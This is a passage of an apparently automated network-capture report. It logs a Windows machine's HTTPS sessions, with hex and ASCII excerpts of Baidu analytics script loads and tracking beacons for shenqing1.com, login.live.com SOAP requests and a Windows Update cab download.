6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 61 3d 22 22 3b 62 2e 74 65 78 74 43 6f 6e Data Ascii: .attributes&&b.attributes.length)for(var f=b.attributes,e=f.length,l=0;l<e;l++)f[l].nodeName===a&&(d=f[l].nodeValue);return d};mt.d.Qa=function(b){var a="document";b.tagName!==s&&(a=b.tagName);return a.toLowerCase()};mt.d.Za=function(b){var a="";b.textCon
2024-12-02 03:58:00 UTC	3331	IN	Data Raw: 74 72 69 6e 67 28 29 2c 6d 74 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 2e 6c 6f 61 64 28 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 29 2c 6d 74 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 65 2c 61 29 2c 6d 74 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 2e 73 61 76 65 28 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 29 29 7d 63 61 74 63 68 28 64 29 7b 7d 7d 3b 0a 6d 74 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 7b 69 66 28 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 65 29 29 7b 76 61 Data Ascii: tring(),mt.localStorage.g.load(document.location.hostname),mt.localStorage.g.setAttribute(e,a),mt.localStorage.g.save(document.location.hostname))}catch(d){}};mt.localStorage.get=function(e){if(window.localStorage){if(e=window.localStorage.getItem(e)){va
2024-12-02 03:58:00 UTC	1448	IN	Data Raw: 64 75 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 74 6f 6e 67 6a 69 2f 70 6c 75 67 69 6e 73 2f 22 2c 6e 61 3a 5b 22 55 72 6c 43 68 61 6e 67 65 54 72 61 63 6b 65 72 22 5d 2c 4f 62 3a 7b 61 63 3a 30 2c 6a 63 3a 31 2c 59 62 3a 32 7d 2c 5a 62 3a 22 68 74 74 70 73 3a 2f 2f 66 63 6c 6f 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 6c 6f 67 2f 6f 63 70 63 61 67 6c 3f 74 79 70 65 3d 62 65 68 61 76 69 6f 72 26 65 6d 64 3d 65 75 63 22 7d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 74 3a 7b 7d 2c 63 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 74 5b 61 5d 3d 74 68 69 73 2e 74 5b 61 5d 7c 7c 5b 5d 3b 74 68 69 73 2e 74 5b 61 5d 2e 70 75 73 68 28 62 29 7d 2c 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 74 5b 61 5d 3d 74 68 69 73 2e 74 Data Ascii: du.com/static/tongji/plugins/",na:["UrlChangeTracker"],Ob:{ac:0,jc:1,Yb:2},Zb:"https://fclog.baidu.com/log/ocpcagl?type=behavior&emd=euc"};(function(){var e={t:{},c:function(a,b){this.t[a]=this.t[a]\|\|[];this.t[a].push(b)},k:function(a,b){this.t[a]=this.t
2024-12-02 03:58:00 UTC	5792	IN	Data Raw: 7b 44 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 22 21 3d 3d 63 2e 69 63 6f 6e 29 7b 76 61 72 20 61 3d 63 2e 69 63 6f 6e 2e 73 70 6c 69 74 28 22 7c 22 29 2c 6b 3d 65 2e 6b 62 2b 22 3f 73 3d 22 2b 63 2e 69 64 2c 64 3d 22 68 74 74 70 73 3a 2f 2f 68 6d 63 64 6e 2e 62 61 69 64 75 2e 63 6f 6d 2f 73 74 61 74 69 63 22 2b 61 5b 30 5d 2b 22 2e 67 69 66 22 3b 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 73 77 66 22 3d 3d 3d 61 5b 31 5d 7c 7c 22 67 69 66 22 3d 3d 3d 61 5b 31 5d 3f 27 3c 61 20 68 72 65 66 3d 22 27 2b 6b 2b 27 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 62 6f 72 64 65 72 3d 22 30 22 20 73 72 63 3d 22 27 2b 64 2b 27 22 20 77 69 64 74 68 3d 22 27 2b 61 5b 32 5d 2b 27 22 20 68 65 69 67 68 74 3d 22 27 2b 61 5b 33 5d 2b 27 Data Ascii: {D:function(){if(""!==c.icon){var a=c.icon.split("\|"),k=e.kb+"?s="+c.id,d="https://hmcdn.baidu.com/static"+a[0]+".gif";document.write("swf"===a[1]\|\|"gif"===a[1]?'<a href="'+k+'" target="_blank"><img border="0" src="'+d+'" width="'+a[2]+'" height="'+a[3]+'
2024-12-02 03:58:00 UTC	4344	IN	Data Raw: 75 72 6c 2c 62 3d 6d 74 2e 6c 61 6e 67 2c 6b 3d 6d 74 2e 77 2c 64 3d 6d 74 2e 65 2c 66 3d 68 2e 6f 2c 67 3d 68 2e 73 2c 6c 3d 68 2e 46 61 2c 72 3d 68 2e 6c 6f 61 64 2c 70 3d 68 2e 52 2c 6e 3d 7b 46 3a 5b 5d 2c 4f 3a 30 2c 59 3a 78 2c 44 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 68 3d 30 3b 67 2e 63 28 22 70 76 2d 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 47 61 28 29 3b 6e 2e 4a 61 28 29 7d 29 3b 67 2e 63 28 22 70 76 2d 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 4b 61 28 29 7d 29 3b 67 2e 63 28 22 73 74 61 67 2d 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 68 2e 62 2e 61 2e 61 70 69 3d 6e 2e 68 7c 7c 6e 2e 4f 3f 6e 2e 68 2b 22 5f 22 2b 6e 2e 4f 3a 22 22 7d 29 3b 67 2e 63 28 22 73 74 61 67 2d 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 68 2e 62 2e 61 Data Ascii: url,b=mt.lang,k=mt.w,d=mt.e,f=h.o,g=h.s,l=h.Fa,r=h.load,p=h.R,n={F:[],O:0,Y:x,D:function(){n.h=0;g.c("pv-b",function(){n.Ga();n.Ja()});g.c("pv-d",function(){n.Ka()});g.c("stag-b",function(){h.b.a.api=n.h\|\|n.O?n.h+"_"+n.O:""});g.c("stag-d",function(){h.b.a
2024-12-02 03:58:00 UTC	2896	IN	Data Raw: 3b 72 65 74 75 72 6e 21 6b 2e 58 28 22 73 6a 68 2e 62 61 69 64 75 2e 63 6f 6d 20 69 73 69 74 65 2e 62 61 69 64 75 2e 63 6f 6d 20 6c 73 2e 77 65 6a 69 61 6e 7a 68 61 6e 2e 63 6f 6d 20 62 73 2e 77 65 6a 69 61 6e 7a 68 61 6e 2e 63 6f 6d 20 70 72 6f 64 75 63 74 2e 77 65 69 6a 69 61 6e 7a 68 61 6e 2e 63 6f 6d 20 71 69 61 6e 68 75 2e 77 65 69 6a 69 61 6e 7a 68 61 6e 2e 63 6f 6d 20 61 69 73 69 74 65 2e 77 65 6a 69 61 6e 7a 68 61 6e 2e 63 6f 6d 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 0a 62 29 7d 2c 41 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 22 48 6d 5f 63 6c 65 61 72 5f 63 6f 6f 6b 69 65 5f 22 2b 63 2e 69 64 2c 62 3d 6e 2e 67 65 74 28 61 29 7c 7c 30 3b 63 2e 66 63 26 26 4e 75 6d 62 65 72 28 63 2e 66 63 29 3e 4e 75 6d 62 65 72 28 62 29 26 26 28 74 Data Ascii: ;return!k.X("sjh.baidu.com isite.baidu.com ls.wejianzhan.com bs.wejianzhan.com product.weijianzhan.com qianhu.weijianzhan.com aisite.wejianzhan.com".split(" "),b)},Aa:function(){var a="Hm_clear_cookie_"+c.id,b=n.get(a)\|\|0;c.fc&&Number(c.fc)>Number(b)&&(t
2024-12-02 03:58:00 UTC	1369	IN	Data Raw: 6f 6c 2b 22 2f 2f 22 2b 63 2e 6a 73 2b 65 2b 22 2e 6a 73 3f 22 2b 4d 61 74 68 2e 72 6f 75 6e 64 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 6d 2e 47 29 29 7d 7d 63 61 74 63 68 28 66 29 7b 7d 7d 2c 76 61 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 74 72 79 7b 62 3d 6c 2e 70 61 72 73 65 28 67 2e 67 65 74 28 22 48 6d 5f 75 6e 73 65 6e 74 5f 22 2b 63 2e 69 64 29 7c 7c 22 5b 5d 22 29 7d 63 61 74 63 68 28 64 29 7b 62 3d 5b 5d 7d 76 61 72 20 65 3d 74 68 69 73 2e 61 2e 75 3f 22 22 3a 22 26 75 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 62 2e 70 75 73 68 28 61 2e 72 65 70 6c 61 63 65 28 2f 5e 68 74 74 70 73 3f 3a 5c 2f 5c 2f 2f 2c 22 22 29 2b 65 29 3b 67 2e Data Ascii: ol+"//"+c.js+e+".js?"+Math.round(Math.random()*m.G))}}catch(f){}},va:function(a){var b;try{b=l.parse(g.get("Hm_unsent_"+c.id)\|\|"[]")}catch(d){b=[]}var e=this.a.u?"":"&u="+encodeURIComponent(document.location.href);b.push(a.replace(/^https?:\/\//,"")+e);g.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49764	111.45.11.83	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:02 UTC	919	OUT	GET /hm.gif?hca=436E3B5EE945DDD8&cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=907&et=0&ja=0&ln=en-us&lo=0&rnd=470346401&si=282ad46c18b6295a8bb8e1da991aa804&v=1.3.2&lv=1&sn=38805&r=0&ww=1280&u=http%3A%2F%2Fwww.shenqing1.com%2F&tt=%E4%B8%87%E5%AE%81%E8%82%87%E6%B1%95%E5%95%86%E8%B4%B8%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
2024-12-02 03:58:03 UTC	275	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0, no-cache Content-Length: 43 Content-Type: image/gif Date: Mon, 02 Dec 2024 03:58:03 GMT Pragma: no-cache Server: apache Strict-Transport-Security: max-age=172800 X-Content-Type-Options: nosniff Connection: close
2024-12-02 03:58:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49765	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-02 03:58:02 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 03:58:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 03:57:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_SN1 x-ms-request-id: d68739ce-8675-4b12-a21d-a253df02caa1 PPServer: PPV: 30 H: SN1PEPF0002F9FF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 03:58:02 GMT Connection: close Content-Length: 11390
2024-12-02 03:58:03 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49762	111.45.3.198	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:03 UTC	416	OUT	GET /hm.js?f65b5decfda457ddb48fb11285b70333 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
2024-12-02 03:58:03 UTC	194	IN	HTTP/1.1 200 OK Content-Length: 0 Date: Mon, 02 Dec 2024 03:58:03 GMT Server: apache Strict-Transport-Security: max-age=172800 Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49767	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:03 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SR6ad2ndVEhoOwy&MD=Amvofuh+ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-02 03:58:03 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1235d241-1cb6-41e9-9a1c-a6b0d6bc4702 MS-RequestId: 9f47d102-d56a-4280-afbd-d908a545d711 MS-CV: S88SUTvg30i5VYk9.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 02 Dec 2024 03:58:03 GMT Connection: close Content-Length: 24490
2024-12-02 03:58:03 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-02 03:58:03 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49763	111.45.3.198	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:03 UTC	416	OUT	GET /hm.js?282ad46c18b6295a8bb8e1da991aa804 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
2024-12-02 03:58:04 UTC	194	IN	HTTP/1.1 200 OK Content-Length: 0 Date: Mon, 02 Dec 2024 03:58:03 GMT Server: apache Strict-Transport-Security: max-age=172800 Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49772	111.45.3.198	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:05 UTC	683	OUT	GET /hm.gif?hca=436E3B5EE945DDD8&cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=907&et=0&ja=0&ln=en-us&lo=0&rnd=470346401&si=282ad46c18b6295a8bb8e1da991aa804&v=1.3.2&lv=1&sn=38805&r=0&ww=1280&u=http%3A%2F%2Fwww.shenqing1.com%2F&tt=%E4%B8%87%E5%AE%81%E8%82%87%E6%B1%95%E5%95%86%E8%B4%B8%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8
2024-12-02 03:58:06 UTC	275	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0, no-cache Content-Length: 43 Content-Type: image/gif Date: Mon, 02 Dec 2024 03:58:05 GMT Pragma: no-cache Server: apache Strict-Transport-Security: max-age=172800 X-Content-Type-Options: nosniff Connection: close
2024-12-02 03:58:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49774	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-02 03:58:05 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 03:58:06 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 03:57:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BL2 x-ms-request-id: bd92484f-81ea-4ee9-8692-b5c2d4ac7cdf PPServer: PPV: 30 H: BL02EPF0001D8C3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 03:58:05 GMT Connection: close Content-Length: 1918
2024-12-02 03:58:06 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49776	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:08 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
